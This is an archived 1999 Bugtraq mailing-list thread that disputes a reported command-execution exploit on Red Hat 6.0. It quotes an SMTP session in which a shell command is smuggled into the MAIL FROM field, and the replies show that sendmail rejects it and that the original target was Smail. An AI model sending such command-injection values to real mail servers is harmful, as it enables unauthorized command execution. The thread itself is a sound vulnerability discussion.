That does not look like the MTA that comes with RH 6.0. That is smail not sendmail. I tryed this on my RH 6.0 install and it didn't work. Notice the "220 fear62 Smail-3.2" It's not sendmail. -----Original Message----- From: Bugtraq List [mailto:BUGTRAQat_private]On Behalf Of Neezam Haniff Sent: Wednesday, October 06, 1999 12:50 PM To: BUGTRAQat_private Subject: RH6.0 local/remote command execution Hi, Here are some comments below... > The remote exploit is merely: > bash-2.03$ telnet localhost 25 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 11:31:13 -0500 > (CDT) > MAIL FROM: ;/command/to/execute; > 250 <;/command/to/execute;> ... Sender Okay > RCPT TO: rpmmail > 250 <rpmmail> ... Recipient Okay > data > 354 Enter mail, end with "." on a line by itself > . > 250 Mail accepted > quit > I find this odd that this exploit could exist on a Red Hat 6.0 installation. sendmail 8.9.3 is the mailer that is installed and the way it's been configured, there's no way it would accept that sender address since it's not qualifiable. Please confirm this. This is what I get when I test this scenario on a Red Hat 6.0 system: [nhaniff@dhcp-160-190 nhaniff]$ telnet localhost 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3; Wed, 6 Oct 1999 13:31:55 -0400 helo x.x 250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost [127.0.0.1], pleased to meet you MAIL FROM: ;/command/to/execute; 553 ;/command/to/execute;... Domain name required The only way someone could take advantage of this exploit is if their mailer configuration allows for the sender to non-qualifiable. Neezam.
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:07:06 PDT